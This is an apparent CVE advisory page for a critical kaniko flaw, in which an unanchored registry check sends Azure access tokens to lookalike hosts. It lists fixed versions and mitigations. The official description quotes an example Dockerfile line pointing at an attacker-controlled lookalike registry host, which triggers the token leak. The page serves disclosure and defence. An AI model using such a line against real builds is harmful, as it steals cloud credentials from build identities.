kaniko: Origin Validation Error
CVE-2026-105769 is a critical-severity origin validation error vulnerability in kaniko from Chainguard, with a CVSS 3.1 base score of 9.3 out of 10. It can be exploited remotely over the network by an unauthenticated attacker, but only if a user takes part, for example by opening a link or file. The record lists version 1.25.20 as the first without the flaw, so updating kaniko to that release or later removes the exposure. There is no confirmed exploitation so far. EPSS estimates a 0.2% chance of exploitation within 30 days, which is low compared with other CVEs.
Critical severity: a successful attack would have severe impact.
What to do
- Update kaniko to 1.25.20 or a later version.
- Read the advisory on github.com for workarounds and exact fixed builds.
- Until you can update, restrict network access to the affected service so it is not reachable from untrusted networks.
- Because the attack needs a user to take part, warn users about unexpected links and files related to this product until it is patched.
Affected products and versions
| Vendor | Product | Affected versions | Fixed in |
|---|---|---|---|
| Chainguard | kaniko | before 1.25.20 | 1.25.20 |
Version data comes from the organisation that assigned the CVE. Confirm against the vendor advisory before deciding you are unaffected.
How the severity score breaks down
- Attack vector
- NetworkCan be exploited remotely over a network, including the internet.
- Attack complexity
- LowNo special conditions are needed; the attack works reliably.
- Privileges required
- NoneNo account or login is needed.
- User interaction
- RequiredA user must take an action such as opening a file or link.
- Scope
- ChangedThe attack can reach beyond the vulnerable component into other systems.
- Confidentiality
- HighAll data handled by the component can be read.
- Integrity
- HighData or code can be modified at will.
- Availability
- NoneAvailability is not affected.
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N. Scored by CNA.
Official description
kaniko before 1.25.20 can send a Microsoft Entra ID (Azure AD) access token for Azure Resource Manager to an attacker-controlled registry host. kaniko uses the Azure Container Registry credential helper github.com/chrismellard/docker-credential-acr-env, which decides whether a host is an ACR registry with an unanchored regular expression, so any hostname containing .azurecr.io, .azurecr.cn, .azurecr.de or .azurecr.us is accepted. kaniko consults this helper for any registry that has no credentials in the Docker config and is not a Google or Amazon ECR registry, before contacting the registry. A Dockerfile that references an image on a lookalike host, such as FROM x.azurecr.io.attacker.com/img or COPY --from=<image>, causes the helper to obtain a token from the build's Azure identity (service principal environment variables, federated workload identity token, or managed identity) and POST it to https://<host>/oauth2/exchange. The attacker can use the token against Azure Resource Manager with the identity's role assignments until it expires, and can exchange it for credentials to any ACR registry the identity can access. No RUN instruction or push is required. This issue is fixed in 1.25.20.
Source: the CVE record as published by its numbering authority, via NVD and CVE.org.
The underlying weakness: Origin Validation Error
The product does not properly verify that the source of data or communication is valid.
Timeline
- CVE record published.
- CISA published its SSVC assessment (exploitation: none, automatable: no, technical impact: total).
References
Patches and release notes
Other references
Recent Origin Validation Error vulnerabilities
- 8.8 High severity
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- 8.1 High severity
- 8.1 High severity
- 8.1 High severity
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